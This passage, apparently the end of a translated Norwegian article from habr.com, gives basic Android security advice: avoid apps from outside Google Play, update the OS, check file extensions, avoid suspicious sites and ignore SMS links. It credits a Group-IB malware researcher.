  • ikke installer applikasjoner for en mobilenhet med Android OS fra andre kilder enn Google Play, vær spesielt oppmerksom på rettighetene som applikasjonen ber om;
  • installere Android OS-oppdateringer regelmessig;
  • vær oppmerksom på utvidelsene til nedlastede filer;
  • ikke besøk mistenkelige ressurser;
  • Ikke klikk på lenker mottatt i SMS-meldinger.

Medvirkende Semyon Rogacheva, juniorspesialist i skadevareforskning ved Group-IB Computer Forensics Laboratory.

Kilde: www.habr.com

Legg til en kommentar